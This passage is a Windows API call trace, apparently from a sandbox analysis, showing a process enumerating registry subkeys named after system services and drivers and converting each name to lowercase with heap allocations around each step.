(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.105] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0251.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0251.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.105] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0251.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0251.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.105] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0251.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0251.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.105] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0251.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0251.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.106] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0251.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0251.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.106] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0251.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0251.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.106] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0251.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0251.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.107] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0251.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0251.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.107] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0251.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0251.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.107] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0251.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0251.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.107] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0251.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0251.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.108] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0251.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0251.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.108] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0251.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1d60, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0251.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.108] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0251.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0251.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.109] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0251.109] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0251.109] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1d60, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0251.109] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0251.109] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0251.109] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0251.109] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0251.109] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0251.109] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0251.110] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0251.110] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0251.110] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0251.110] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0251.110] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0251.110] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0251.110] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0251.110] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0251.110] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0251.110] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0251.110] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0251.110] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0251.111] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0251.111] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0251.111] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0251.111] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0251.111] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0251.111] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0251.111] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0251.111] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0251.111] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0251.111] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0251.111] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0251.111] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0251.111] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0251.112] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0251.112] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0251.112] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0251.112] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0251.112] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0251.112] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0251.112] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0251.112] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0251.112] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0251.112] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0251.112] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0251.112] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0251.112] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0251.112] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0251.113] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0251.113] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0251.113] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0251.113] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0251.113] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0251.113] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0251.113] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0251.113] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0251.113] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0251.113] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0251.113] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 